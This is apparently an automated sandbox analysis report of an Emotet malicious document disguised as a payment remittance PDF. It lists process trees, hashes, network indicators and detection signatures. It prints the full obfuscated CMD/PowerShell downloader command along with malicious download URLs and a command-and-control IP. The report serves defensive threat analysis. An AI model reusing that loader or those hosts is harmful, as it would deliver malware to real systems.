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File name:

Payment_Remittance_Advice_1102253.pdf

Full analysis: https://app.any.run/tasks/53de3efb-a1d0-4b65-804c-2f0407f1ac4d
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: November 08, 2018, 16:35:45
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
opendir
trojan
loader
emotet
maldoc-4
Indicators:
MIME: application/pdf
File info: PDF document, version 1.3
MD5:

9D1E408743D6AD1A84BAB2CEBE179BB7

SHA1:

BC4002B2E9D56FA3EF4ABBBBEFB77D9BDF08F0FA

SHA256:

72954D3B656F61B37BC14DC09F5CAF76DCE882876F74209B4CD80D8C594AFD46

SSDEEP:

192:RGzb08uk8fnmYVuVpToIYy3lu+waBm5B7Qi0wWyR8aoVAn2CCbB8GrVjXeIAOOpr:I08kVV2D3luPbT7L09y1XbCdZdJKe8T

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  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3576)
    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3576)
    • Application was dropped or rewritten from another process

      • 266.exe (PID: 2628)
      • 266.exe (PID: 3156)
      • lpiograd.exe (PID: 3880)
      • lpiograd.exe (PID: 2108)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 3976)
    • Emotet process was detected

      • lpiograd.exe (PID: 3880)
  • SUSPICIOUS

    • Starts Internet Explorer

      • AcroRd32.exe (PID: 3904)
    • Application launched itself

      • WINWORD.EXE (PID: 3576)
      • 266.exe (PID: 2628)
    • Starts Microsoft Office Application

      • iexplore.exe (PID: 312)
      • WINWORD.EXE (PID: 3576)
    • Executes PowerShell scripts

      • CMD.exe (PID: 4048)
    • Creates files in the user directory

      • powershell.exe (PID: 3976)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3976)
      • 266.exe (PID: 3156)
    • Starts itself from another location

      • 266.exe (PID: 3156)
  • INFO

    • Application launched itself

      • RdrCEF.exe (PID: 2560)
      • AcroRd32.exe (PID: 3904)
      • iexplore.exe (PID: 312)
    • Changes internet zones settings

      • iexplore.exe (PID: 312)
    • Creates files in the user directory

      • AcroRd32.exe (PID: 3904)
      • iexplore.exe (PID: 2180)
      • WINWORD.EXE (PID: 3576)
    • Reads Internet Cache Settings

      • iexplore.exe (PID: 2180)
    • Reads internet explorer settings

      • iexplore.exe (PID: 2180)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3576)
      • WINWORD.EXE (PID: 3212)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.pdf | Adobe Portable Document Format (100)

EXIF

PDF

ModifyDate: 2018:11:08 15:22:01+03:00
CreateDate: 2018:11:08 15:22:01+03:00
Producer: dompdf + CPDF
PageCount: 1
Linearized: No
PDFVersion: 1.3
No data.
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Total processes
47
Monitored processes
16
Malicious processes
7
Suspicious processes
1

Behavior graph

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start drop and start drop and start acrord32.exe acrord32.exe no specs rdrcef.exe no specs rdrcef.exe no specs rdrcef.exe no specs iexplore.exe iexplore.exe winword.exe no specs winword.exe no specs cmd.exe no specs powershell.exe 266.exe no specs 266.exe #EMOTET lpiograd.exe no specs lpiograd.exe adobearm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3904"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\admin\AppData\Local\Temp\Payment_Remittance_Advice_1102253.pdf"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
explorer.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat Reader DC
Version:
15.23.20070.215641
2024"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer "C:\Users\admin\AppData\Local\Temp\Payment_Remittance_Advice_1102253.pdf"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exeAcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe Acrobat Reader DC
Version:
15.23.20070.215641
2560"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16448250C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeAcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe RdrCEF
Version:
15.23.20053.211670
1700"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-3d-apis --disable-databases --disable-direct-npapi-requests --disable-file-system --disable-notifications --disable-shared-workers --disable-direct-write --lang=en-US --lang=en-US --log-severity=disable --product-version="ReaderServices/15.23.20053 Chrome/45.0.2454.85" --device-scale-factor=1 --enable-delegated-renderer --num-raster-threads=2 --gpu-rasterization-msaa-sample-count=8 --content-image-texture-target=3553 --video-image-texture-target=3553 --disable-accelerated-video-decode --disable-webrtc-hw-encoding --disable-gpu-compositing --channel="2560.0.140555528\1560614162" --allow-no-sandbox-job /prefetch:673131151C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeRdrCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe RdrCEF
Version:
15.23.20053.211670
3320"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-3d-apis --disable-databases --disable-direct-npapi-requests --disable-file-system --disable-notifications --disable-shared-workers --disable-direct-write --lang=en-US --lang=en-US --log-severity=disable --product-version="ReaderServices/15.23.20053 Chrome/45.0.2454.85" --device-scale-factor=1 --enable-delegated-renderer --num-raster-threads=2 --gpu-rasterization-msaa-sample-count=8 --content-image-texture-target=3553 --video-image-texture-target=3553 --disable-accelerated-video-decode --disable-webrtc-hw-encoding --disable-gpu-compositing --channel="2560.1.869216819\1538690543" --allow-no-sandbox-job /prefetch:673131151C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exeRdrCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe RdrCEF
Version:
15.23.20053.211670
312"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
AcroRd32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
2180"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:312 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3576"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\PAY__2ODV[1].doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEiexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3212"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXEWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
4048CMD cmD.Exe /c "sET jflB= (new-object sYsTeM.IO.COMpREsSiOn.dEfLATeStrEAM([SySTEM.iO.mEmorySTrEAM][ConveRT]::FroMBaSe64sTriNg( 'TZBdTwIxEEX/yj40KQTpJj7wQLMJBkXxA0JMNBhfZrcDW9vOrGzZVQn/XSCS+Drn3pPcERU0GWHb5/wDi5jMMKpXzMfeIkUtbqePmSxjrIZpWpVgA1BpgJjWquCQFnfon0Z/PIcI3jOpzTat7cxMxmfStq3C/g9zUIFzm75t7/FmeaYG62gJamu2ZOHkbRdL979sbO04WFqxghpKIAe5WrOyJnVuOcf1lVTPlbexI0eyq8XnvEmyRF4OBlKLh+AzgdQMI4aqJ99l78h7UuEXSr3iDUJRdsRi9ZJYSo6Tu7u4+d6Jw2vUNbfkGczEejxlLpKjsKun1LDD/vQgPV10fvA4vS8gFuVuv/8F'),[iO.cOmpreSSioN.COmprESsIonMode]::DEcOMPrEss ) ^| FOREACh-oBJect{ new-object SyStEm.iO.sTreaMReADEr( $_ , [tExT.eNcODinG]::AsCii )} ).ReadToEND( )^|^&( $SHELlid[1]+$sHelLiD[13]+'X')&&powerSHEll Sv ( \"bN\" + \"w\") ( [tyPE]( \"{0}{1}{2}\"-f'e','nv','IROnMenT') ) ; ${exeCu`TI`o`NConTExT}.\"Invo`keC`om`m`And\".\"InV`OK`e`SCRIpt\"( ( ( GET-CHiLDiTEm ( 'var' + 'iaB'+'lE:bNW') ).vAlUe::( \"{2}{4}{1}{3}{0}\"-f 'abLE','nTVA','GetENVirONM','rI','E' ).Invoke( (\"{1}{0}\"-f 'Lb','JF' ),( \"{1}{0}{2}\"-f 'roC','p','eSs') ) ) )" C:\Windows\system32\CMD.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Total events
2 880
Read events
2 406
Write events
464
Delete events
10

Modification events

(PID) Process:(2024) AcroRd32.exeKey:HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader\DC\ExitSection
Operation:writeName:bLastExitNormal
Value:
0
(PID) Process:(2024) AcroRd32.exeKey:HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader\DC\AVGeneral
Operation:writeName:bExpandRHPInViewer
Value:
1
(PID) Process:(2024) AcroRd32.exeKey:HKEY_CURRENT_USER\Software\Adobe\Acrobat Reader\DC\NoTimeOut
Operation:writeName:smailto
Value:
5900
(PID) Process:(312) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
(PID) Process:(312) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(312) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(312) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
Operation:writeName:SecuritySafe
Value:
1
(PID) Process:(312) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(312) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000
(PID) Process:(312) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\Active
Operation:writeName:{6606C179-E374-11E8-BFAB-5254004AAD11}
Value:
0
Executable files
2
Suspicious files
7
Text files
6
Unknown types
15

Dropped files

PID
Process
Filename
Type
2024AcroRd32.exeC:\Users\admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal
MD5:
SHA256:
312iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico
MD5:
SHA256:
312iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
MD5:
SHA256:
312iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF8C2C10B04E328387.TMP
MD5:
SHA256:
3576WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRC3C8.tmp.cvr
MD5:
SHA256:
2024AcroRd32.exeC:\Users\admin\AppData\Local\Temp\acrord32_sbx\A9R1ul27at_cb01dr_1k8.tmp
MD5:
SHA256:
2024AcroRd32.exeC:\Users\admin\AppData\Local\Temp\acrord32_sbx\A9Ral0fn2_cb01dq_1k8.tmp
MD5:
SHA256:
2024AcroRd32.exeC:\Users\admin\AppData\Local\Temp\acrord32_sbx\A9R19z6i3p_cb01ds_1k8.tmp
MD5:
SHA256:
2024AcroRd32.exeC:\Users\admin\AppData\Local\Temp\acrord32_sbx\A9Rsyl7f1_cb01dt_1k8.tmp
MD5:
SHA256:
3576WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_4211B899-2A1B-46FA-89C5-9C72F8C5DF9A.0\8CB77FF1.doc\:Zone.Identifier:$DATA
MD5:
SHA256:
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HTTP(S) requests
11
TCP/UDP connections
8
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3904
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/277_15_23_20070.zip
unknown
whitelisted
3904
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/278_15_23_20070.zip
unknown
whitelisted
312
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
2180
iexplore.exe
GET
200
178.238.226.69:80
http://www.gemmad.co.uk/9021422QWDGABQ/PAYROLL/Business/
DE
document
40.8 Kb
suspicious
3904
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/281_15_23_20070.zip
unknown
whitelisted
2180
iexplore.exe
GET
301
178.238.226.69:80
http://www.gemmad.co.uk/9021422QWDGABQ/PAYROLL/Business
DE
html
264 b
suspicious
3904
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/message.zip
unknown
whitelisted
2108
lpiograd.exe
GET
173.34.90.245:443
http://173.34.90.245:443/
CA
malicious
3904
AcroRd32.exe
GET
304
2.16.186.32:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/280_15_23_20070.zip
unknown
whitelisted
3976
powershell.exe
GET
200
103.255.237.191:80
http://phaimanhdanong.com/cHelM/
VN
executable
148 Kb
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
312
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3976
powershell.exe
103.255.237.191:80
phaimanhdanong.com
VNPT Corp
VN
malicious
2180
iexplore.exe
178.238.226.69:80
www.gemmad.co.uk
Contabo GmbH
DE
suspicious
3904
AcroRd32.exe
2.16.186.32:80
acroipm2.adobe.com
Akamai International B.V.
whitelisted
2.18.233.74:443
armmf.adobe.com
Akamai International B.V.
whitelisted
2108
lpiograd.exe
173.34.90.245:443
Rogers Cable Communications Inc.
CA
malicious
3904
AcroRd32.exe
2.18.233.74:443
armmf.adobe.com
Akamai International B.V.
whitelisted

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
www.gemmad.co.uk
  • 178.238.226.69
suspicious
acroipm2.adobe.com
  • 2.16.186.32
  • 2.16.186.33
whitelisted
armmf.adobe.com
  • 2.18.233.74
whitelisted
phaimanhdanong.com
  • 103.255.237.191
malicious

Threats

PID
Process
Class
Message
2180
iexplore.exe
Attempted User Privilege Gain
SC ATTEMPTED_USER Microsoft Word 2016 use after free attempt
2180
iexplore.exe
Potentially Bad Traffic
ET WEB_CLIENT SUSPICIOUS Possible Office Doc with Embedded VBA Project (Wide)
2180
iexplore.exe
Misc activity
SUSPICIOUS [PTsecurity] Download DOC file with VBAScript
3976
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Generic Trojan Emotet downloader
3976
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3976
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3976
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
1 ETPRO signatures available at the full report
No debug info